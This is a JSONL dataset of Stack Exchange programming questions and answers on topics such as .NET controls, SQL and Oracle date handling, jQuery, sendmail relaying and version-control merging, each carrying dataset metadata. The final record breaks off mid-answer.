{"id": "hf_62e3dc6846c2", "question": "<p>When is this called? More specifically, I have a control I'm creating - how can I release handles when the window is closed. In normal win32 I'd do it during <code>wm_close</code> - is <code>DestroyHandle</code> the .net equivalent?</p>\n\n<hr>\n\n<p>I don't want to destroy the window handle myself - my control is listening for events on another object and when my control is destroyed, I want to stop listening to those events. Eg:</p>\n\n<pre><code>void Dispose(bool disposing) {\n    otherObject.Event -= myEventHandler;\n}\n</code></pre>\n", "question_body": "", "answer": "Normally\n```\nDestroyHandle\n```\nis being called in\n```\nDispose\n```\nmethod. So you need to make sure that all controls are disposed to avoid resource leaks.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:36.151025"}
{"id": "hf_2a5bdfbd08e4", "question": "<p>Is there a way to detect if a flash movie contains any sound or is playing any music?<br>\nIt would be nice if this could be done inside a webbrowser (actionscript <strong>from another flash object</strong>, javascript,..) and could be done <em>before</em> the flash movie starts playing.</p>\n\n<p>However, I have my doubts this will be possible altogether, so any other (programmable) solution is also appreciated</p>\n", "question_body": "", "answer": "Yes, on the server side for sure.  Client side?  I don't know.  (I'm a serverside kind of guy.)\nOn the server side, one would have to parse the file, read the header and/or look for audio frames.  (I've ported a haskel FLV parser to Java for indexing purposes myself, and there are other parsing utilities out there.  It is possible.)\nosflash.org's FLV page\nhas the gory details.  Check out the FLV Format sections's FLV Header table.\n```\n```\nFIELD       DATA TYPE      EXAMPLE                  DESCRIPTION\n Signature   byte[3]        “FLV”                    Always “FLV”\n Version     uint8          “\\x01” (1)               Currently 1 for known FLV files\n Flags       uint8 bitmask  “\\x05” (5, audio+video)  Bitmask: 4 is audio, 1 is video\n Offset      uint32-be      “\\x00\\x00\\x00\\x09” (9)   Total size of header (always 9 for known FLV files)\n```\n```\nEDIT: My client side coding with Flash is non-existent, but I believe there is an onMetaDataLoad event that your code could catch.  That might be happening a bit late for you, but maybe it is good enough?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:36.187938"}
{"id": "hf_1817560cfc56", "question": "<p>In the business I work for we are discussion methods to reduce the read load on our primary database.</p>\n\n<p>One option that has been suggested is to have live one-way replication from our primary database to a slave database. Applications would then read from the slave database and write directly to the primary database. So...</p>\n\n<ul>\n<li>Application Reads From Slave</li>\n<li>Application Writes to Primary</li>\n<li>Primary Updates Slave Automatically</li>\n</ul>\n\n<p>What are the major pros and cons for this method?</p>\n", "question_body": "", "answer": "A few cons:\n2 points of failure\nApplication logic will have to take into account the delay between writing something and then reading it, since it won't be available immediately from the secondary database\nA strategy I have used is to send key reporting data to a secondary database nightly, de-normalizing it on the way, so that beefy queries can run on that database instead of locking up tables and stealing resources from the OLTP server.  I'm not using any formal data warehousing or replication tools, rather I identify problem queries that are Ok without up-to-the-minute data and create data structures on the secondary server specifically for those queries.\nThere are definitely pros to the \"replicate everything\" approach:\nYou can run any ad-hoc query on the secondary, since it has all of your data\nIf your primary server dies, you can re-purpose the secondary quickly to take over", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:36.212796"}
{"id": "hf_53d4b300f0f5", "question": "<p>Older versions of the .Net Framework used to install \"Microsoft .NET Framework v1.0 / v1.1 / v2.0 Configuration\" in the Control Panel, under Administrative Tools. I just noticed that there isn't a v3.0 or v3.5 version of this. Is this functionality now hiding somewhere else, or do I have to use the command-line tools instead?</p>\n", "question_body": "", "answer": "Both 3 and 3.5 still use the\nCommon Language Runtime of .NET Framework 2.0\n. So no control panel is needed, as you can still use the 2.0 control panel.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:36.249618"}
{"id": "hf_a6dc9b630b52", "question": "<p>I have some classes layed out like this</p>\n\n<pre><code>class A\n{\n    public virtual void Render()\n    {\n    }\n}\nclass B : A\n{\n    public override void Render()\n    {\n        // Prepare the object for rendering\n        SpecialRender();\n        // Do some cleanup\n    }\n\n    protected virtual void SpecialRender()\n    {\n    }\n}\nclass C : B\n{\n    protected override void SpecialRender()\n    {\n        // Do some cool stuff\n    }\n}\n</code></pre>\n\n<p>Is it possible to prevent the C class from overriding the Render method, without breaking the following code?</p>\n\n<pre><code>A obj = new C();\nobj.Render();       // calls B.Render -&gt; c.SpecialRender\n</code></pre>\n", "question_body": "", "answer": "You can seal individual methods to prevent them from being overridable:\n```\n```\npublic sealed override void Render()\n{\n    // Prepare the object for rendering        \n    SpecialRender();\n    // Do some cleanup    \n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:36.274776"}
{"id": "hf_84a61f09d9fe", "question": "<p>Using C# 2.0 what is the best way to implement dynamic form controls?</p>\n\n<p>I need to provide a set of controls per data object, so should i just do it manually and lay them out while increment the top value or is there a better way?</p>\n", "question_body": "", "answer": "What do you mean by “dynamic”? A new, fixed set of controls for each data row in the data set? Then use a\n```\nUserControl\n```\nthat contains your controls.\nOr do you mean that, depending on your data layout, you want to provide the user with a customized set of controls, say, one\n```\nTextBox\n```\nfor each column?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:36.337668"}
{"id": "hf_0745e6828cb5", "question": "<p>How to restrict the maximum number of characters that can be entered into an HTML <code>&lt;textarea&gt;</code>? I'm looking for a cross-browser solution.</p>\n", "question_body": "", "answer": "The\n```\nTEXTAREA\n```\ntag does not have a\n```\nMAXLENGTH\n```\nattribute the way that an\n```\nINPUT\n```\ntag does, at least not in most standard browsers. A very simple and effective way to limit the number of characters that can be\ntyped\ninto a\n```\nTEXTAREA\n```\ntag is:\n```\n```\n<textarea onKeyPress=\"return ( this.value.length < 50 );\"></textarea>\n```\n```\nNote:\n```\nonKeyPress\n```\n, is going to prevent any button press,\nany button\nincluding\nthe backspace key.\nThis works because the Boolean expression compares the field's length\nbefore the new character is added to the maximum length you want (50 in this example, use your own here), and returns true if there is room for one more,\n```\nfalse\n```\nif not. Returning false from most events cancels the default action.\nSo if the current length is already 50 (or more), the handler returns false,\nthe\n```\nKeyPress\n```\naction is cancelled, and the character is not added.\nOne fly in the ointment is the possibility of pasting into a\n```\nTEXTAREA\n```\n,\nwhich does not cause the\n```\nKeyPress\n```\nevent to fire, circumventing this check.\nInternet Explorer 5+ contains an\n```\nonPaste\n```\nevent whose handler can contain the\ncheck. However, note that you must also take into account how many\ncharacters are waiting in the clipboard to know if the total is going to\ntake you over the limit or not. Fortunately, IE also contains a clipboard\nobject from the window object.\n1\nThus:\n```\n```\n<textarea onKeyPress=\"return ( this.value.length < 50 );\"\nonPaste=\"return (( this.value.length +\nwindow.clipboardData.getData('Text').length) < 50 );\"></textarea>\n```\n```\nAgain, the\n```\nonPaste\n```\nevent and\n```\nclipboardData\n```\nobject are IE 5+ only. For a cross-browser solution, you will just have to use an\n```\nOnChange\n```\nor\n```\nOnBlur\n```\nhandler to check the length, and handle it however you want (truncate the value silently, notify the user, etc.). Unfortunately, this doesn't catch the error as it's happening, only when the user attempts to leave the field, which is not quite as friendly.\nSource\nAlso, there is another way here, including a finished script you could include in your page:\nhttp://cf-bill.blogspot.com/2005/05/textarea-maxlength-revisited.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:36.362938"}
{"id": "hf_c4e3c3fba6db", "question": "<p>Let's say you want to save a bunch of files somewhere, for instance in BLOBs. Let's say you want to dish these files out via a web page and have the client automatically open the correct application/viewer.</p>\n\n<p>Assumption: The browser figures out which application/viewer to use by the mime-type (content-type?) header in the HTTP response.</p>\n\n<p>Based on that assumption, in addition to the bytes of the file, you also want to save the MIME type.</p>\n\n<p>How would you find the MIME type of a file? I'm currently on a Mac, but this should also work on Windows. </p>\n\n<p>Does the browser add this information when posting the file to the web page?</p>\n\n<p>Is there a neat python library for finding this information? A WebService or (even better) a downloadable database?</p>\n", "question_body": "", "answer": "The\nmimetypes module\nin the standard library will determine/guess the MIME type from a file extension.\nIf users are uploading files the HTTP post will contain the MIME type of the file alongside the data.  For example, Django makes this data available as an attribute of the\nUploadedFile\nobject.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:36.392345"}
{"id": "hf_19e428b1b16a", "question": "<p>A very niche problem:</p>\n\n<p>I sometimes (30% of the time) get an 'undefined handler' javascript error on line 3877 of the prototype.js library (version 1.6.0.2 from google: <a href=\"http://ajax.googleapis.com/ajax/libs/prototype/1.6.0.2/prototype.js\" rel=\"nofollow noreferrer\">http://ajax.googleapis.com/ajax/libs/prototype/1.6.0.2/prototype.js</a>).</p>\n\n<p>Now on this page I have a Google Map and I use the Prototype Window library.</p>\n\n<p>The problem occurs in IE7 and FF3.</p>\n\n<p>This is the info FireBug gives:</p>\n\n<pre><code>handler is undefined\n? in prototype.js@3871()prototype.js (line 3877)\nhandler.call(element, event);\n</code></pre>\n\n<p>I switched to a local version of prototypejs and added some debugging in the offending method (createWraper) but the debugging never appears before the error...</p>\n\n<p>I googled around and found 1 other mention of the error on the same line, but no answer so I'm posting it here where maybe, some day someone will have an answer :).</p>\n", "question_body": "", "answer": "I switched to a local version of prototypejs and added some debugging\n  in the offending method (createWraper) but the debugging never appears\n  before the error...\nActually the offending function being called when the error occurs is \"wrapper\" which is created inside createWrapper (but not called there). Basically what is happening is that you've attached a function as the event handler for an element, and the function doesn't actually exist.\nIf you're trying to put any debug information in to try and pinpoint which function \"doesn't exist\" then add your alert messages or firebug console output inside the wrapper function between lines 3871 and 3878.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:36.417207"}
{"id": "hf_4cbcea722ecc", "question": "<p>I need to get the first and last day of a month in the format YYYY-MM-DD given only the month and year. Is there a good, easy way to do this?</p>\n", "question_body": "", "answer": "First day is always YYYY-MM-01, isn't it? Example:\n```\ndate(\"Y-M-d\", mktime(0, 0, 0, 8, 1, 2008))\n```\nLast day is the previous day of the next month's first day:\n```\n```\n$date = new DateTime(\"2008-09-01\");\n$date->modify(\"-1 day\");\necho $date->format(\"Y-m-d\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:36.446071"}
{"id": "hf_e25a92abd9ff", "question": "<p>I understand that there are several ways to blend XNA and WPF within the same application. I find it enticing to use WPF for all GUI and HUD stuff in my XNA games. Does anyone have any practical experience on how well this approach works in real life using .NET 3.5 SP1 ? Any pitfalls (such as the <a href=\"http://blogs.msdn.com/nickkramer/archive/2005/07/14/438640.aspx\" rel=\"nofollow noreferrer\">\"airspace problem\"</a>)? Any hint on what appoach works best?</p>\n", "question_body": "", "answer": "There is an addition in 3.5 SP1 that allows better interaction between DirectX and WPF (D3DImage), and one way to get to that is through XNA.\nHere are some details:\nhttp://jmorrill.hjtcentral.com/Default.aspx?tabid=428&EntryID=259", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:36.470921"}
{"id": "hf_d50e9eb51095", "question": "<p>I need to select data when a page is viewed and update the 'views' column is there a way to do this in one query, or do I have to use to distinct queries?</p>\n", "question_body": "", "answer": "You would have to do this in two statements in one transaction\n```\n```\nBegin Tran\n\nUpdate Pages Set Views = Views + 1 Where ID = @ID\nSelect Columns From Pages Where ID = @ID\n\nCommit Tran\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:36.531311"}
{"id": "hf_91a7d6f3d2e4", "question": "<p>I have a line color property in my custom grid control. I want it to default to <code>Drawing.SystemColors.InactiveBorder</code>. I tried:</p>\n\n<pre><code>[DefaultValue(typeof(System.Drawing.SystemColors), \"InactiveBorder\")]\npublic Color LineColor { get; set; }\n</code></pre>\n\n<p>But it doesn't seem to work. How do I do that with the default value attribute?</p>\n", "question_body": "", "answer": "You need to change first argument from\n```\nSystemColors\n```\nto\n```\nColor\n```\n.\nIt seems that there is no type converter for the\n```\nSystemColors\n```\ntype, only for the\n```\nColor\n```\ntype.\n```\n```\n[DefaultValue(typeof(Color),\"InactiveBorder\")]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:36.599060"}
{"id": "hf_25d9741bb7f8", "question": "<p>I have a <code>String</code> representation of a date that I need to create a <code>Date</code> or <code>Calendar</code> object from. I've looked through <code>Date</code> and <code>Calendar</code> APIs but haven't found anything that can do this other than creating my own ugly parse method. I know there must be a way, does anyone know of a solution?</p>\n", "question_body": "", "answer": "Try this:\n```\n```\nDateFormat.parse(String)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:36.721977"}
{"id": "hf_7f78f3f23c61", "question": "<p>This is probably a really simple jQuery question, but I couldn't answer it after 10 minutes in the documentation so...</p>\n\n<p>I have a list of checkboxes, and I can get them with the selector <code>'input[type=checkbox]'</code>. I want the user to be able to shift-click and select a range of checkboxes. To accomplish this, I need to get the index of a checkbox in the list, so I can pass that index to <code>.slice(start, end)</code>. How do I get the index when the user clicks a box?</p>\n", "question_body": "", "answer": "The following selector should also work in jQuery:\n```\ninput:checkbox\n```\n.\nYou can then string the\n```\n:gt(index)\n```\nand\n```\n:lt(index)\n```\nfilters together, so if you want the 5th to 7th checkboxes, you'd use\n```\ninput:checkbox:gt(4):lt(2)\n```\n.\nTo get the index of the currently clicked checkbox, just use\n```\n$(\"input:checkbox\").index($(this))\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:36.786623"}
{"id": "hf_60687d0d62a1", "question": "<p>We are now using NHibernate to connect to different database base on where our software is installed.  So I am porting many SQL Procedures to Oracle.</p>\n\n<p>SQL Server has a nice function called DateDiff which takes a date part, startdate and enddate.</p>\n\n<p>Date parts examples are day, week, month, year, etc. . . </p>\n\n<p>What is the Oracle equivalent?</p>\n\n<p>I have not found one do I have to create my own version of it?</p>\n\n<p><strong>(update by Mark Harrison)</strong> there are several nice answers that explain Oracle date arithmetic.  If you need an Oracle datediff() see Einstein's answer.  (I need this to keep spme SQL scripts compatible between Sybase and Oracle.)  Note that this question applies equally to Sybase.</p>\n", "question_body": "", "answer": "Tom's article is very old.  It only discusses the DATE type.  If you use TIMESTAMP types then date arithmetic is built into PL/SQL.\nhttp://www.akadia.com/services/ora_date_time.html\n```\n```\nDECLARE\nts_a timestamp;\nts_b timestamp;\ndiff interval day to second;\nBEGIN\n  ts_a := systimestamp;\n  ts_b := systimestamp-1/24;\n  diff := ts_a - ts_b;\n  dbms_output.put_line(diff);\nEND;\n+00 01:00:00.462000\n```\n```\nor\n```\n```\nDECLARE\nts_b timestamp;\nts_a timestamp;\ndate_part interval day to second;\n\nBEGIN\n  ts_a := systimestamp;\n  date_part := to_dsinterval('0 01:23:45.678');\n  ts_b := ts_a + date_part;\n  dbms_output.put_line(ts_b);\nEND;\n\n04-SEP-08 05.00.38.108000 PM\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:36.824076"}
{"id": "hf_c491a364253c", "question": "<p>Why do I need two of them? When I have to use one or another?</p>\n", "question_body": "", "answer": "Please see:\nhttp://www.sap-img.com/oracle-database/finding-oracle-sid-of-a-database.htm\nWhat is the difference between Oracle\n  SIDs and Oracle SERVICE NAMES. One\n  config tool looks for SERVICE NAME and\n  then the next looks for SIDs! What's\n  going on?!\nOracle SID is the unique name that\n  uniquely identifies your\n  instance/database where as Service\n  name is the TNS alias that you give\n  when you remotely connect to your\n  database and this Service name is\n  recorded in Tnsnames.ora file on your\n  clients and it can be the same as SID\n  and you can also give it any other\n  name you want.\nSERVICE_NAME is the new feature from\n  oracle 8i onwards in which database\n  can register itself with listener. If\n  database is registered with listener\n  in this way then you can use\n  SERVICE_NAME parameter in tnsnames.ora\n  otherwise - use SID in tnsnames.ora.\nAlso if you have OPS (RAC) you will\n  have different SERVICE_NAME for each\n  instance.\nSERVICE_NAMES specifies one or more\n  names for the database service to\n  which this instance connects. You can\n  specify multiple services names in\n  order to distinguish among different\n  uses of the same database. For\n  example:\nSERVICE_NAMES = sales.acme.com,\n  widgetsales.acme.com\nYou can also use service names to\n  identify a single service that is\n  available from two different databases\n  through the use of replication.\nIn an Oracle Parallel Server\n  environment, you must set this\n  parameter for every instance.\nIn short: SID = the unique name of your DB instance, ServiceName = the alias used when connecting", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:36.899705"}
{"id": "hf_cda8c61dbe6c", "question": "<p>I am looking for a way to concatenate the strings of a field within a group by query. So for example, I have a table:</p>\n\n<pre><code>ID   COMPANY_ID   EMPLOYEE\n1    1            Anna\n2    1            Bill\n3    2            Carol\n4    2            Dave\n</code></pre>\n\n<p>and I wanted to group by company_id to get something like:</p>\n\n<pre><code>COMPANY_ID   EMPLOYEE\n1            Anna, Bill\n2            Carol, Dave\n</code></pre>\n\n<p>There is a built-in function in mySQL to do this <a href=\"http://dev.mysql.com/doc/refman/5.0/en/group-by-functions.html#function_group-concat\" rel=\"noreferrer\">group_concat</a></p>\n", "question_body": "", "answer": "I claim no credit for the answer because I found it after some searching:\nWhat I didn't know is that PostgreSQL allows you to define your own aggregate functions with\nCREATE AGGREGATE\nThis post\non the PostgreSQL list shows how trivial it is to create a function to do what's required:\n```\n```\nCREATE AGGREGATE textcat_all(\n  basetype    = text,\n  sfunc       = textcat,\n  stype       = text,\n  initcond    = ''\n);\n\nSELECT company_id, textcat_all(employee || ', ')\nFROM mytable\nGROUP BY company_id;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:36.925513"}
{"id": "hf_13f890681952", "question": "<p>I have a multiple selection SELECT field which I don't want the end user to be able to change the value of. </p>\n\n<p>For UI reasons, I would like to be able to do this without using the disabled=\"true\" attribute. I've tried using onmousedown, onfocus, onclick and setting each to blur or return false but with no success.</p>\n\n<p>Can this be done or am I trying to do the impossible?</p>\n", "question_body": "", "answer": "Could you do it with an\n```\nonchange\n```\nevent?\n```\n```\n<select onfocus=\"this.oldIndex=this.selectedIndex\" onchange=\"this.selectedIndex=this.oldIndex\">\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:36.950739"}
{"id": "hf_3f0b6f6c8333", "question": "<p>A <code>.container</code> can contain many <code>.components</code>, and <code>.components</code> themselves can contain <code>.containers</code> (which in turn can contain .components etc. etc.)</p>\n\n<p>Given code like this:</p>\n\n<pre><code>$(\".container .component\").each(function(){\n  $(\".container\", this).css('border', '1px solid #f00');\n});\n</code></pre>\n\n<p>What do I need to add to the line within the braces to select only the nested <code>.containers</code> that have their <code>width</code> in CSS set to <code>auto</code>?  I'm sure it's something simple, but I haven't really used jQuery all that much.</p>\n", "question_body": "", "answer": "```\n```\n$(\".container .component\").each(function() {\n    if ($(\".container\", this).css('width') === \"auto\")\n        $(\".container\", this).css('border', '1px solid #f00');\n});\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:37.013952"}
{"id": "hf_edadd791448a", "question": "<p>Suppose I have some code that would, in theory, compile against <em>any</em> version of the .net framework. Think \"Hello World\", if you like. </p>\n\n<p>If I actually compile the code, though, I'll get an executable that runs against one <em>particular</em> version. </p>\n\n<p>Is there any way to arrange things so that the compiled exe will just run against whatever version it finds? I strongly suspect that the answer is no, but I'd be happy to be proven wrong...</p>\n\n<hr>\n\n<p>Edit: Well, I'll go to the foot of our stairs. I had no idea that later frameworks would happily run exe's compiled under earlier versions. Thanks for all the responses!</p>\n", "question_body": "", "answer": "Read ScuttGu's post about\nVS 2008 Multi-Targeting Support\nOne of the big changes we are making\n  starting with the VS 2008 release is\n  to support what we call\n  \"Multi-Targeting\" - which means that\n  Visual Studio will now support\n  targeting multiple versions of the\n  .NET Framework, and developers will be\n  able to start taking advantage of the\n  new features Visual Studio provides\n  without having to always upgrade their\n  existing projects and deployed\n  applications to use a new version of\n  the .NET Framework library.\nNow when you open an existing project\n  or create a new one with VS 2008, you\n  can pick which version of the .NET\n  Framework to work with - and the IDE\n  will update its compilers and\n  feature-set to match this.  Among\n  other things, this means that\n  features, controls, projects,\n  item-templates, and assembly\n  references that don't work with that\n  version of the framework will be\n  hidden, and when you build your\n  application you'll be able to take the\n  compiled output and copy it onto a\n  machine that only has an older version\n  of the .NET Framework installed, and\n  you'll know that the application will\n  work.\nThat way you can use VS2008 to develop .NET 2.0 projects that will work on both .NET 2.0, 3.0 and 3.5", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:37.038805"}
{"id": "hf_07f12af07c16", "question": "<p>Caveat: I'm relatively new to coding as well as <a href=\"http://macromates.com/\" rel=\"nofollow noreferrer\">TextMate</a>, so apologies if there is an obvious answer I'm missing here.</p>\n\n<p>I do a lot of HTML/CSS markup, there are certain patterns that I use a lot, for example, forms, navigation menus etc. What I would like is a way to store those patterns and insert them quickly when I need them. </p>\n\n<p>Is there a way to do this using TextMate?</p>\n", "question_body": "", "answer": "You can do this very easily in TextMate using\nSnippets\n. Just add a new snippet in the bundle editor, and set up how you want to trigger it. You can set a key shortcut, or have it pop up when you hit\n```\nTab\n```\nafter a certain word/pattern.\nThere are many things you can do with them—in your case, it would probably be very useful to set so-called \"placeholders\" in your snippets, which are the parts that change every time (e.g. the names of the fields in the form). Then, as soon as you insert the snippet, you can hit\n```\nTab\n```\nto move between these.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:37.064382"}
{"id": "hf_10dd66481049", "question": "<p>I'm setting up a server which is on a network behind a firewall and I want programs on this computer to be able to use sendmail to send emails to any email address.  We have an SMTP server running on this network (let's call it mailrelay.example.com) which is how we're supposed to get outgoing emails through the firewall.</p>\n\n<p>So how do I configure sendmail to send all mail through mailrelay.example.com?  Googling hasn't given me the answer yet, and has only revealed that sendmail configuration is extremely complex and annoying.</p>\n", "question_body": "", "answer": "http://www.elandsys.com/resources/sendmail/smarthost.html\nSendmail Smarthost\nA smarthost is a host through which\n  outgoing mail is relayed. Some ISPs\n  block outgoing SMTP traffic (port 25)\n  and require their users to send out\n  all mail through the ISP's mail\n  server. Sendmail can be configured to\n  use the ISP's mail server as the smart\n  host.\nRead the linked article for instruction for how to set this up.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:37.102700"}
{"id": "hf_f1b0ddf49202", "question": "<p>Handling multiple merges onto branches in Subversion or CVS is just one of those things that has to be experienced. It is inordinately easier to keep track of branches and merges in Mercurial (and probably any other distributed system) but I don't know why. Does anyone else know?</p>\n\n<p>My question stems from the fact that with Mercurial you can adopt a working practice similar to that of Subversions/CVSs central repository and everything will work just fine. You can do multiple merges on the same branch and you won't need endless scraps of paper with commit numbers and tag names.</p>\n\n<p>I know the latest version of Subversion has the ability to track merges to branches so you don't get quite the same degree of hassle but it was a huge and major development on their side and it still doesn't do everything the development team would like it to do.</p>\n\n<p>There must be a fundamental difference in the way it all works.</p>\n", "question_body": "", "answer": "I only have experience with Subversion but I can tell you that the merge screen in TortoiseSVN is horribly complicated.  Luckily they include a dry run button so that you can see if you are doing it right.  The complication is in the configuration of what you want to merge to where.  Once you get that set up for the merge the merge generally goes fine.  Then you need to resolve any and all conflicts and then commit your merged in working copy to the repository.\nIf Mercurial can make the configuration of the merge easier then I can say that would make merging 100% easier then Subversion.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:37.152943"}
{"id": "hf_14268c155865", "question": "<p>I'm trying to determine the best way to truncate or drop extra decimal places in SQL without rounding.  For example:</p>\n\n<pre><code>declare @value decimal(18,2)\n\nset @value = 123.456\n</code></pre>\n\n<p>This will automatically round <code>@value</code> to be <code>123.46</code>, which is good in most cases.  However, for this project, I don't need that.  Is there a simple way to truncate the decimals I don't need?  I know I can use the <code>left()</code> function and convert back to a decimal.  Are there any other ways?</p>\n", "question_body": "", "answer": "```\n```\nselect convert(int,@value)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:37.228803"}
{"id": "hf_7dced4fe8b52", "question": "<p>Is it possible to pass a reference to a function to another function in F#?  Specifically, I'd like to pass lambda functions like</p>\n\n<p>foo(fun x -> x ** 3)</p>\n\n<p>More specifically, I need to know how I would refer to the passed function in a function that I wrote myself.</p>\n", "question_body": "", "answer": "Yes, it is possible. The\nmanual\nhas this example:\n```\n```\n> List.map (fun x -> x % 2 = 0) [1 .. 5];;\n\nval it : bool list\n= [false; true; false; true; false]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:37.266930"}
{"id": "hf_f3f747e7a3e8", "question": "<p>We've been using \"Drip\" to try and identify why pages with UpdatePanels in them tend to use a lot of client-side memory.  With a page with a regular postback, we are seeing 0 leaks detected by Drip.  However, when we add an update panel to the mix, every single DOM object that is inside of the update panel appears to leak (according to Drip).</p>\n\n<p>I am not certain is Drip is reliable enough to report these kinds of things - the reported leaks do seem to indicate Drip is modifying the page slightly.  </p>\n\n<p>Does anyone have any experience with this?  Should I panic and stop using Microsoft Ajax?  I'm not above doubting Microsoft, but it seems fishy to me that it could be <em>this</em> bad.</p>\n\n<p>Also, if you know of a tool that is better than Drip, that would be helpful as well.</p>\n", "question_body": "", "answer": "According to\nASP.NET AJAX in Action\n, p. 257\nJust before the old markup is replaced with the updated HTML, all the DOM elements in the panel are examined for Microsoft Ajax behaviours or controls attached to them. To avoid memory leaks, the components associated with DOM elements are disposed, and then destroyed when the HTMl is replaced.\nSo as far as I know, any asp.net ajax components within the update 